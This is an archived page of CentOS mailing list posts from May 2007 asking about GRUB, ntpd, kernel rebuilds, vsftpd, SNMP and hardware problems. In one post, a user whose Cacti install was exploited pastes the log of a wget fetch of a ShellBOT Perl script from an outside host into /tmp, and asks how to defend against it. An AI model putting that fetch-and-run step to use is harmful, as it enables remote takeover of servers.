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Slightly OT: Debian and CentOS multiboot: menu.lst problem
by Niki Kovacs 28 May '07

28 May '07

Hi, I want to slowly migrate from Debian to CentOS, so I setup a multiboot on my main machine. There's a Debian Etch install on /dev/hda, and GRUB is also installed on the Debian side. On /dev/hdb, I have CentOS 5. I fdisked the drive manually, then chose manual partitioning during install. The setup for CentOS is: hdb1 -> swap hdb2 -> /boot, ext2 hdb3 -> / , ext3 After completing the install, I rebooted on the Debian side and edited menu.lst like this: <snip> title Debian GNU/Linux, kernel 2.6.18 root (hd0,1) kernel /vmlinuz-2.6.18 root=/dev/hda3 vga=788 ro initrd /initrd.img-2.6.18 title CentOS 5 sur hdb3 root (hd1,1) kernel /vmlinuz-2.6.18-8.el5 root=/dev/hdb3 ro initrd /initrd-2.6.18-8.el5 Now when I try to reboot on CentOS, I get an 'Error 15: file not found'. I add that I've done many multiboot configurations before, so it's not the first time I have such a scenario. I thought, aha, maybe a typo. So I entered the GRUB shell and booted CentOS without problems, using tab completion. I double- and triple-checked after this, but I can't seem to find the error. The stanza seems OK, but still it won't work. Do you see a mistake that I don't see? Niki Kovacs -- Dyslexics have more fnu.

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NTPD ?
by jarmo 26 May '07

26 May '07

Have used Centos 5 now couple of weeks and started to find pieces on places, ie. found logs :D Now, these ntpd errors strances me. Anyone else getting these? Errors frequency error 500 PPM exceeds tolerance 500 PPM: 1 time(s) frequency error 503 PPM exceeds tolerance 500 PPM: 1 time(s) frequency error 504 PPM exceeds tolerance 500 PPM: 1 time(s) frequency error 505 PPM exceeds tolerance 500 PPM: 1 time(s) frequency error 509 PPM exceeds tolerance 500 PPM: 3 time(s) frequency error 512 PPM exceeds tolerance 500 PPM: 203 time(s) I compiled vanilla kernel 2.6.21.2 into use, just by oldfasion way "make menuconfig, make, make install", used .config from original kernel, came with distro. Only changed prosessor type into K7. Running x86 system, with 512M ram. Some about 200G HD space.. Syncing time into ntp1.funet.fi, but I think that's not the reason, because tried some other servers too, and got somewhat same results... Despite of errors, all seems to work, or do I imagine that? Jarmo

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Re: SOLVED [CentOS] recompiling kernel results in error: .../linux-2.6.18.i686/arch//Makefile: No such file or directory
by dcw 26 May '07

26 May '07

On Saturday 26 May 2007 6:52 pm, Akemi Yagi wrote: > On 5/26/07, dcw <dwoody1(a)charter.net> wrote: > > I copied the kernel rpm to the gateway computer, did a 'rpm -ivh' for the > > new kernel and rebooted. > > > > I then ran system-config-network and was able to setup the ne2000 card in > > less time than I takes to write about it. > > > > Thanks for all your help, especially Akemi for staying with me during all > > this. > > > > David > > Congratulations on your successful rebuilding. I am so happy for you. > And don't forget to thank CentOS and, especially, Johnny Hughes whose > input was indispensable in this endeavor. Yes! Thanks also goes to the CentOS team and Johnny Hughes, without which none of this would be possible. David > Akemi > _______________________________________________ > CentOS mailing list > CentOS(a)centos.org > http://lists.centos.org/mailman/listinfo/centos

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Re: [CentOS] recompiling kernel results in error: .../linux-2.6.18.i686/arch//Makefile: No such file or directory
by dcw 26 May '07

26 May '07

On Thursday 24 May 2007 1:37 pm, Akemi Yagi wrote: > On 5/24/07, dcw <dwoody1(a)charter.net> wrote: > > > (1) prepare .spec by removing lines from %prep > > > (2) rpmbuild -bp kernel-2.6.spec > > > (3) go to BUILD (where .config is) > > > (4) make xconfig > > > (5) add # i386 to .config as the first line > > > (6) copy this .config back to SOURCES (using the original name > > > xxx.config) (7) rpmbuild -ba kernel-2.6.spec > > > > > > Or, instead of steps (5) to (7), just run: > > > > I did 5 and 6 anyway, assuming that in the worst case they were not > > needed and would do no harm. I then did 'rpmbuild -bc ...' as below. Does the rpmbuild -bc work only in the BUILD directory? Or does it work in the SOURCE directory? Will doing step 5 and 6 cause any problems? > > It was working until gpg had a segfault. From some of the emails I have > > been reading this is a known problem that has not been fixed yet. > > > > Other emails I have read indicated that signmodule should be set to 0. > > What is the down side risk of doing this? > > All I can tell you is that 'signmodules' is set to 0 in my spec file. > I did not change it, so that must have been CentOS's default (?). There is sigmodules in several places in the SPEC file. The first one is set to '0' but the others are not. I prefer not setting singmodules to '0' unless I know what the risks are. The last time I recompiled a kernel was when it was at 2.4.x. Is there a way to compile the kernel without using rpmbuild? > By the way, Johnny Hughes has kindly checked the above procedure and > said, "that's what I do." This is a big assurance. I agree that your > goal is almost there. This is good, but what does he do to avoid segfaults? Thanks, David > Isn't Linux fantastic? Imagine trying this in Windows... > > Akemi > _______________________________________________ > CentOS mailing list > CentOS(a)centos.org > http://lists.centos.org/mailman/listinfo/centos -- RD Woodyard, Inc. -------------------------------------------------------

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vsftp anonymous upload access
by Al Sparks 26 May '07

26 May '07

I'm trying to set up anonymous ftp using vsftp. I want to be able to allow uploads. The anonymous id is userid "ftp". The ~ftp/ directory is actually owned by root, but ~ftp/pub is owned by ftp. Here's the vsftpd.conf: anonymous_enable=YES anon_upload_enable=YES local_enable=NO write_enable=NO local_umask=022 dirmessage_enable=YES xferlog_enable=YES xferlog_std_format=YES userlist_enable=YES listen=YES tcp_wrappers=YES I'm able to login to "ftp", and I'm able to "cd pub". The pub directory has permissions ownership ftp:ftp and perms of 750 or: drwxr-x--- 2 ftp ftp 4096 May 14 12:43 /var/ftp/pub Since I'm logged on as "ftp" I should be able to create the file inside the directory and write to it. BTW, I've had this problem whether write_enable=YES|NO and unless I'm misreading the docs, write_enable shouldn't affect actual uploads. What am I doing wrong? === Al

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nforce 430 MCP61 chipset on centos 4.4
by tblader 26 May '07

26 May '07

Hello All. I've got an Asus board with a non-operational nic and sound chip on Centos 4.4. Anyone know if this is possible to get working on 4.4? I've downloaded 5.0 but it looks like others still have issues* with this chipset. Thanks. [*]- http://bugs.centos.org/view.php?id=1989 -- Flambeau Inc. Technology Center - Baraboo, WI Email : tblader(a)flambeau.com Keyserver: http://pgp.mit.edu KeyID: 0x00E9EC2C

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SNMP errors with vlans
by Steven Haigh 26 May '07

26 May '07

Hi all, I keep getting the following error messages on all my systems that have Vlans configured on it's ethernet interfaces. May 27 02:50:50 spin-gw snmpd[5226]: error on subcontainer 'ia_addr' insert (-1) May 27 02:50:50 spin-gw snmpd[5226]: error on subcontainer 'ia_addr' insert (-1) May 27 02:50:50 spin-gw snmpd[5226]: error on subcontainer '' insert (-1) May 27 02:50:50 spin-gw snmpd[5226]: error on subcontainer '' insert (-1) May 27 02:51:20 spin-gw snmpd[5226]: error on subcontainer 'ia_addr' insert (-1) May 27 02:51:20 spin-gw snmpd[5226]: error on subcontainer 'ia_addr' insert (-1) May 27 02:51:20 spin-gw snmpd[5226]: error on subcontainer '' insert (-1) May 27 02:51:20 spin-gw snmpd[5226]: error on subcontainer '' insert (-1) May 27 02:51:50 spin-gw snmpd[5226]: error on subcontainer 'ia_addr' insert (-1) May 27 02:51:50 spin-gw snmpd[5226]: error on subcontainer 'ia_addr' insert (-1) May 27 02:51:50 spin-gw snmpd[5226]: error on subcontainer '' insert (-1) Does anyone know a way around this? ie either fix the problem, or stop the logging? -- Steven Haigh Email: netwiz(a)crc.id.au Web: http://www.crc.id.au Phone: (03) 9017 0597 - 0404 087 474

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Centos - 4.x - VAIO notebook heating up
by abhishek jain 26 May '07

26 May '07

Hi friends, I have a problem i have VAIO VGN-F seies notebook which was performing slow on main power source, working fine on battery i did some tweaks on CPU speeds reading a lot of tutorials , i do not know whether this or somthing else has now started making mine notebook got heated up , i mean it is heatin up from base. I also have windows on the same system (dual boot), it was also heating up , i then installed NHC (Notebook Hardware Control ) on windows XP, it reduced the CPU speed and which probably increases load on the system, this removed the heating problem of CPU. I have a question that is there a similar s/w availble on linux Centos 4.xor i need to reinstall the OS or can it be a hardware problem the CPU heating up. Has someone experienced the same problem , NHC says the earlier temp of my CPU was above 90 degree C now it is 60 degree C. Thanks, Early answers expected, Regards, Abhishek jain

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Suggested way to remotely monitor servers and networks these days?
by Dexter Ang 26 May '07

26 May '07

Hi folks, I'm just wondering what is the recommended way of monitoring servers and networks remotely. My current setup is to install and configure cacti and nagios. I've set these up to require SSL. This way, I can easily go to them and login from wherever I am and monitor (almost) everything I need to monitor. The problem is that leaving cacti open was the most stupid thing I've done. After checking /var/log/httpd/error_log, I saw that someone exploited a cacti php file and the result was: --08:13:11-- http://psaico.host.sk/desk.pl => `/tmp/desk.pl' Resolving psaico.host.sk... 62.168.109.150 Connecting to psaico.host.sk|62.168.109.150|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 20,144 (20K) [text/x-perl] 0K .......... ......... 100% 28.26KB/s 08:13:13 (28.26 KB/s) - `/tmp/desk.pl' saved [20144/20144] which immediately downloaded ShellBOT to /tmp and executed it. It was a good thing I caught this as early as I did. So, what's everyone elses solution these days? Or is it simply a matter of creating a /tmp partition and mounting it noexec? On a side note... anyone with experience with ShellBOT? From research, it seems to attempt to connect to an IRC server upon running. So if my outgoing connections are secured by iptables, can I assume it never got connected at all? I'll probably try this out someday but just looking for a quick experienced answer. Thanks! dex

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Issues with SNMP
by Robert Spangler 26 May '07

26 May '07

Hello, I'm wondering if anyone else is seeing the same issues I'm seeing here. I have recently upgraded one of my systems from 4.4 to 4.5 and ever since then I cannot get snmp to work. I am monitoring the interface traffic. Please keep in mind the firewall/router I do the same thing without any issues for 4 interfaces and it is still at 4.4 and doesn't have any issues. If I try an snmpwalk I get the following; ~~~~~~~~~~~~~~~~~~~~~~ snmp $ snmpwalk -v 1 -c <string> localhost system Timeout: No Response from localhost snmp $ snmpwalk -v 2c -c <string> localhost system Timeout: No Response from localhost ~~~~~~~~~~~~~~~~~~~~~~ snmpd is up and running according to the system ~~~~~~~~~~~~~~~~~~~~~~ snmp $ service snmpd status snmpd (pid 7884) is running... ~~~~~~~~~~~~~~~~~~~~~~ snmp.conf file hasn't changed since I last changed it in Jan. I'm stumped as to why it is not working and don't want to upgrade the router/firewall box, which is working without any issues, until this get fixed. Can someone point me to what I am missing or point me in the right direction? Thnx! Oh, here is the output from uname ~~~~~~~~~~~~~~~~~~~~~~ snmp $ uname -a Linux <host> 2.6.9-55.EL #1 Wed May 2 13:52:08 EDT 2007 x86_64 x86_64 x86_64 GNU/Linux ~~~~~~~~~~~~~~~~~~~~~~ SNMP version installed; ~~~~~~~~~~~~~~~~~~~~~~ snmp $ rpm -qa | grep snmp net-snmp-libs-5.1.2-11.EL4.10 net-snmp-utils-5.1.2-11.EL4.10 net-snmp-5.1.2-11.EL4.10 net-snmp-libs-5.1.2-11.EL4.10 ~~~~~~~~~~~~~~~~~~~~~~ If there is anything more that you need, I will supply it. Thnx again. -- Regards Robert Smile... it increases your face value!

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